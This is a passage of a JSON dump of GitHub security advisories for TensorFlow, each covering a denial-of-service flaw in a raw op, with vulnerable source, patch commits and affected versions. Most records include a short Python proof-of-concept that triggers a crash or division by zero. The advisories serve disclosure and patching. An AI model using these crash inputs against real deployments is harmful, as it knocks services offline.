[698e01511f62a3c185754db78ebce0eee1f0184d](https://github.com/tensorflow/tensorflow/commit/698e01511f62a3c185754db78ebce0eee1f0184d).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-05-21T14:28:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-8pmx-p244-g88h","https://nvd.nist.gov/vuln/detail/CVE-2021-29614","https://github.com/tensorflow/tensorflow/commit/698e01511f62a3c185754db78ebce0eee1f0184d","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-542.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-740.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-251.yaml","https://github.com/advisories/GHSA-8pmx-p244-g88h"],"source_kind":"github","identifiers":["GHSA-8pmx-p244-g88h","CVE-2021-29614"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":33.58776112468632,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:03.499Z","updated_at":"2024-11-13T16:26:20.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTM5M2YtMmpyMy1jcDY5","url":"https://github.com/advisories/GHSA-393f-2jr3-cp69","title":"CHECK-fail in DrawBoundingBoxes","description":"### Impact\nAn attacker can trigger a denial of service via a `CHECK` failure by passing an empty image to `tf.raw_ops.DrawBoundingBoxes`:\n\n```python\nimport tensorflow as tf\n\nimages = tf.fill([53, 0, 48, 1], 0.)\nboxes = tf.fill([53, 31, 4], 0.)\nboxes = tf.Variable(boxes)\nboxes[0, 0, 0].assign(3.90621)\ntf.raw_ops.DrawBoundingBoxes(images=images, boxes=boxes)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/ea34a18dc3f5c8d80a40ccca1404f343b5d55f91/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L148-L165) uses `CHECK_*` assertions instead of `OP_REQUIRES` to validate user controlled inputs. Whereas `OP_REQUIRES` allows returning an error condition back to the user, the `CHECK_*` macros result in a crash if the condition is false, similar to `assert`.\n\n```cc\nconst int64 max_box_row_clamp = std::min\u003cint64\u003e(max_box_row, height - 1);\n... \nCHECK_GE(max_box_row_clamp, 0);\n``` \n    \nIn this case, `height` is 0 from the `images` input. This results in `max_box_row_clamp` being negative and the assertion being falsified, followed by aborting program execution.\n    \n### Patches\nWe have patched the issue in GitHub commit [b432a38fe0e1b4b904a6c222cbce794c39703e87](https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:21.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-393f-2jr3-cp69","https://nvd.nist.gov/vuln/detail/CVE-2021-29533","https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-461.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-659.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-170.yaml","https://github.com/advisories/GHSA-393f-2jr3-cp69"],"source_kind":"github","identifiers":["GHSA-393f-2jr3-cp69","CVE-2021-29533"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.461Z","updated_at":"2024-10-30T23:22:17.000Z","epss_percentage":0.00018,"epss_percentile":0.0288},{"uuid":"GSA_kwCzR0hTQS1tZzY2LXF2YzUtcm05M84AArBK","url":"https://github.com/advisories/GHSA-mg66-qvc5-rm93","title":"Missing validation causes denial of service via `SparseTensorToCSRSparseMatrix`","description":"### Impact\nThe implementation of [`tf.raw_ops.SparseTensorToCSRSparseMatrix`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse/sparse_tensor_to_csr_sparse_matrix_op.cc#L65-L119) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack:\n\n```python\nimport tensorflow as tf\n\nindices = tf.constant(53, shape=[3], dtype=tf.int64)\nvalues = tf.constant(0.554979503, shape=[218650], dtype=tf.float32)\ndense_shape = tf.constant(53, shape=[3], dtype=tf.int64)\n    \ntf.raw_ops.SparseTensorToCSRSparseMatrix(\n  indices=indices,\n  values=values,\n  dense_shape=dense_shape)\n```\n\nThe code assumes `dense_shape` is a vector and `indices` is a matrix (as part of requirements for sparse tensors) but there is no validation for this:\n  \n```cc\n    const Tensor\u0026 indices = ctx-\u003einput(0);\n    const Tensor\u0026 values = ctx-\u003einput(1);\n    const Tensor\u0026 dense_shape = ctx-\u003einput(2);\n    const int rank = dense_shape.NumElements();\n    OP_REQUIRES(ctx, rank == 2 || rank == 3,\n                errors::InvalidArgument(\"SparseTensor must have rank 2 or 3; \",\n                                        \"but indices has rank: \", rank));\n    auto dense_shape_vec = dense_shape.vec\u003cint64_t\u003e();\n    // ...\n    OP_REQUIRES_OK(\n        ctx,\n        coo_to_csr(batch_size, num_rows, indices.template matrix\u003cint64_t\u003e(),\n                   batch_ptr.vec\u003cint32\u003e(), csr_row_ptr.vec\u003cint32\u003e(),\n                   csr_col_ind.vec\u003cint32\u003e()));\n```\n\n### Patches\nWe have patched the issue in GitHub commit [ea50a40e84f6bff15a0912728e35b657548cef11](https://github.com/tensorflow/tensorflow/commit/ea50a40e84f6bff15a0912728e35b657548cef11).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-05-24T22:08:45.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-mg66-qvc5-rm93","https://nvd.nist.gov/vuln/detail/CVE-2022-29198","https://github.com/tensorflow/tensorflow/commit/ea50a40e84f6bff15a0912728e35b657548cef11","https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse/sparse_tensor_to_csr_sparse_matrix_op.cc#L65-L119","https://github.com/tensorflow/tensorflow/releases/tag/v2.6.4","https://github.com/tensorflow/tensorflow/releases/tag/v2.7.2","https://github.com/tensorflow/tensorflow/releases/tag/v2.8.1","https://github.com/tensorflow/tensorflow/releases/tag/v2.9.0","https://github.com/advisories/GHSA-mg66-qvc5-rm93"],"source_kind":"github","identifiers":["GHSA-mg66-qvc5-rm93","CVE-2022-29198"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.8.1","vulnerable_version_range":"\u003e= 2.8.0, \u003c 2.8.1"},{"first_patched_version":"2.7.2","vulnerable_version_range":"\u003e= 2.7.0, \u003c 2.7.2"},{"first_patched_version":"2.6.4","vulnerable_version_range":"\u003c 2.6.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:12:23.769Z","updated_at":"2023-01-27T05:02:16.000Z","epss_percentage":0.00044,"epss_percentile":0.12442},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWo4cWMtNWZxci01MmZw","url":"https://github.com/advisories/GHSA-j8qc-5fqr-52fp","title":"Division by zero in `Conv2DBackpropFilter`","description":"### Impact\nAn attacker can cause a division by zero to occur in `Conv2DBackpropFilter`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\nfilter_sizes = tf.constant([0, 0, 0, 0], shape=[4], dtype=tf.int32)\nout_backprop = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)\n\ntf.raw_ops.Conv2DBackpropFilter(\n  input=input_tensor,\n  filter_sizes=filter_sizes,\n  out_backprop=out_backprop,\n  strides=[1, 1, 1, 1],\n  use_cudnn_on_gpu=False,\n  padding='SAME',\n  explicit_paddings=[],\n  data_format='NHWC',\n  dilations=[1, 1, 1, 1]\n)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/1b0296c3b8dd9bd948f924aa8cd62f87dbb7c3da/tensorflow/core/kernels/conv_grad_filter_ops.cc#L513-L522) computes a divisor based on user provided data (i.e., the shape of the tensors given as arguments):\n\n```cc\nconst size_t size_A = output_image_size * filter_total_size; \nconst size_t size_B = output_image_size * dims.out_depth;\nconst size_t size_C = filter_total_size * dims.out_depth;\nconst size_t work_unit_size = size_A + size_B + size_C;\nconst size_t shard_size = (target_working_set_size + work_unit_size - 1) / work_unit_size;\n```\n\nIf all shapes are empty then `work_unit_size` is 0. Since there is no check for this case before division, this results in a runtime exception, with potential to be abused for a denial of service. \n\n### Patches\nWe have patched the issue in GitHub commit [c570e2ecfc822941335ad48f6e10df4e21f11c96](https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n  \n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:22:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j8qc-5fqr-52fp","https://nvd.nist.gov/vuln/detail/CVE-2021-29538","https://github.com/tensorflow/tensorflow/commit/c570e2ecfc822941335ad48f6e10df4e21f11c96","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-466.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-664.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-175.yaml","https://github.com/advisories/GHSA-j8qc-5fqr-52fp"],"source_kind":"github","identifiers":["GHSA-j8qc-5fqr-52fp","CVE-2021-29538"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.520Z","updated_at":"2024-10-30T23:26:36.000Z","epss_percentage":0.00015,"epss_percentile":0.01838},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTZnODUtM2htOC04M2Y5","url":"https://github.com/advisories/GHSA-6g85-3hm8-83f9","title":"CHECK-fail in `QuantizeAndDequantizeV4Grad`","description":"### Impact\nAn attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.QuantizeAndDequantizeV4Grad`:\n\n```python\nimport tensorflow as tf\n\ngradient_tensor = tf.constant([0.0], shape=[1])\ninput_tensor = tf.constant([0.0], shape=[1])\ninput_min = tf.constant([[0.0]], shape=[1, 1])\ninput_max = tf.constant([[0.0]], shape=[1, 1])\n\ntf.raw_ops.QuantizeAndDequantizeV4Grad(\n  gradients=gradient_tensor, input=input_tensor,\n  input_min=input_min, input_max=input_max, axis=0)\n```                     \n                        \nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L162-L163) does not validate the rank of the `input_*` tensors. In turn, this results in the tensors being passes as they are to [`QuantizeAndDequantizePerChannelGradientImpl`](https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.h#L295-L306):\n\n```cc \ntemplate \u003ctypename Device, typename T\u003e\nstruct QuantizeAndDequantizePerChannelGradientImpl {\n  static void Compute(const Device\u0026 d,\n                      typename TTypes\u003cT, 3\u003e::ConstTensor gradient,\n                      typename TTypes\u003cT, 3\u003e::ConstTensor input,\n                      const Tensor* input_min_tensor,\n                      const Tensor* input_max_tensor,\n                      typename TTypes\u003cT, 3\u003e::Tensor input_backprop,\n                      typename TTypes\u003cT\u003e::Flat input_min_backprop,\n                      typename TTypes\u003cT\u003e::Flat input_max_backprop) {\n    ...\n    auto input_min = input_min_tensor-\u003evec\u003cT\u003e();\n    auto input_max = input_max_tensor-\u003evec\u003cT\u003e();\n    ...\n}\n```\n\nHowever, the `vec\u003cT\u003e` method, requires the rank to 1 and triggers a `CHECK` failure otherwise.\n\n### Patches\nWe have patched the issue in GitHub commit [20431e9044cf2ad3c0323c34888b192f3289af6b](https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 as this is the only other affected version.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6g85-3hm8-83f9","https://nvd.nist.gov/vuln/detail/CVE-2021-29544","https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-472.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-670.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-181.yaml","https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L162-L163","https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.h#L295-L306","https://github.com/advisories/GHSA-6g85-3hm8-83f9"],"source_kind":"github","identifiers":["GHSA-6g85-3hm8-83f9","CVE-2021-29544"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.575Z","updated_at":"2024-11-19T19:33:16.000Z","epss_percentage":0.00067,"epss_percentile":0.21169},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW0zNGotcDhyai13anhx","url":"https://github.com/advisories/GHSA-m34j-p8rj-wjxq","title":"Division by 0 in `QuantizedBiasAdd`","description":"### Impact\nAn attacker can trigger an integer division by zero undefined behavior in `tf.raw_ops.QuantizedBiasAdd`:\n\n```python\nimport tensorflow as tf\n\ninput_tensor = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.quint8)\nbias = tf.constant([], shape=[0], dtype=tf.quint8)\nmin_input = tf.constant(-10.0, dtype=tf.float32)\nmax_input = tf.constant(-10.0, dtype=tf.float32)\nmin_bias = tf.constant(-10.0, dtype=tf.float32)\nmax_bias = tf.constant(-10.0, dtype=tf.float32)\n\ntf.raw_ops.QuantizedBiasAdd(input=input_tensor, bias=bias, min_input=min_input,\n                            max_input=max_input, min_bias=min_bias,\n                            max_bias=max_bias, out_type=tf.qint32)\n```\n\nThis is because the [implementation of the Eigen kernel](https://github.com/tensorflow/tensorflow/blob/61bca8bd5ba8a68b2d97435ddfafcdf2b85672cd/tensorflow/core/kernels/quantization_utils.h#L812-L849) does a division by the number of elements of the smaller input (based on shape) without checking that this is not zero:\n\n```cc\ntemplate \u003ctypename T1, typename T2, typename T3\u003e\nvoid QuantizedAddUsingEigen(const Eigen::ThreadPoolDevice\u0026 device,\n                            const Tensor\u0026 input, float input_min,\n                            float input_max, const Tensor\u0026 smaller_input,\n                            float smaller_input_min, float smaller_input_max,\n                            Tensor* output, float* output_min,\n                            float* output_max) {\n  ...\n  const int64 input_element_count = input.NumElements();\n  const int64 smaller_input_element_count = smaller_input.NumElements();\n  ...\n  bcast[0] = input_element_count / smaller_input_element_count;\n  ...\n}\n```\n\nThis integral division by 0 is undefined behavior.\n\n### Patches\nWe have patched the issue in GitHub commit [67784700869470d65d5f2ef20aeb5e97c31673cb](https://github.com/tensorflow/tensorflow/commit/67784700869470d65d5f2ef20aeb5e97c31673cb).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2021-05-21T14:23:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.0,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/tensorflow/tensorflow/security/advisories/GHSA-m34j-p8rj-wjxq","https://nvd.nist.gov/vuln/detail/CVE-2021-29546","https://github.com/tensorflow/tensorflow/commit/67784700869470d65d5f2ef20aeb5e97c31673cb","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-474.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-672.yaml","https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-183.yaml","https://github.com/advisories/GHSA-m34j-p8rj-wjxq"],"source_kind":"github","identifiers":["GHSA-m34j-p8rj-wjxq","CVE-2021-29546"],"repository_url":"https://github.com/tensorflow/tensorflow","blast_radius":9.735582934691685,"packages":[{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-gpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow-cpu"},{"versions":[{"first_patched_version":"2.4.2","vulnerable_version_range":"\u003e= 2.4.0, \u003c 2.4.2"},{"first_patched_version":"2.3.3","vulnerable_version_range":"\u003e= 2.3.0, \u003c 2.3.3"},{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.2.3"},{"first_patched_version":"2.1.4","vulnerable_version_range":"\u003c 2.1.4"}],"ecosystem":"pypi","package_name":"tensorflow"}],"created_at":"2022-12-21T16:13:02.607Z","updated_at":"2024-10-30T23:10:14.000Z","epss_percentage":0.00017,"epss_percentile":0.0256},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWY3OGctcTdyNC05d2N2","url":"https://github.com/advisories/GHSA-f78g-q7r4-9wcv","title":"Division by 0 in `FractionalAvgPool`","description":"### Impact\nAn attacker can cause a runtime division by zero error and denial of service in `tf.raw_ops.FractionalAvgPool`:\n\n```python\nimport tensorflow as tf\n\nvalue = tf.constant([60], shape=[1, 1, 1, 1], dtype=tf.int32)\npooling_ratio = [1.0, 1.0000014345305555, 1.0, 1.0]\npseudo_random = False\noverlapping = False\ndeterministic = False\nseed = 0\nseed2 = 0\n\ntf.raw_ops.FractionalAvgPool(\n  value=value, pooling_ratio=pooling_ratio, pseudo_random=pseudo_random,\n  overlapping=overlapping, deterministic=deterministic, seed=seed, seed2=seed2)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L85-L89) computes a divisor quantity by dividing two user controlled values:\n\n```cc                     \nfor (int i = 0; i \u003c tensor_in_and_out_dims; ++i) {\n  output_size[i] = static_cast\u003cint\u003e(std::floor(input_size[i] / pooling_ratio_[i]));\n  DCHECK_GT(output_size[i], 0); \n} \n``` \n    \nThe user controls the values of `input_size[i]` and `pooling_ratio_[i]` (via the `value.shape()` and `pooling_ratio` arguments). If the value in `input_size[i]` is smaller than the `pooling_ratio_[i]`, then the floor operation results in `output_size[i]` being 0. The `DCHECK_GT` line is a no-op outside of debug mode, so in released versions of TF this does not trigger.\n\nLater, these computed values [are used as arguments](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_avg_pool_op.cc#L96-L99) to [`GeneratePoolingSequence`](https://github.com/tensorflow/tensorflow/blob/acc8ee69f5f46f92a3f1f11230f49c6ac266f10c/tensorflow/core/kernels/fractional_pool_common.cc#L100-L108). There, the first computation is a division in a modulo operation:\n\n```cc\nstd::vector\u003cint64\u003e GeneratePoolingSequence(int input_length, int output_length,\n                                           GuardedPhiloxRandom* generator,\n                                           bool pseudo_random) {\n  ...\n  if (input_length % output_length == 0) {\n    diff = std::vector\u003cint64\u003e(output_length, input_length / output_length);\n  }\n  ...\n}\n```\n\nSince `output_length` can be 0, this results in runtime crashing.\n\n### Patches\nWe have patched the issue in GitHub commit [548b5eaf23685d86f722233d8fbc21d0a4aecb96](https://github.com/tensorflow/tensorflow/commit/548b5eaf23685d86f722233d8fbc21d0a4aecb96).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu 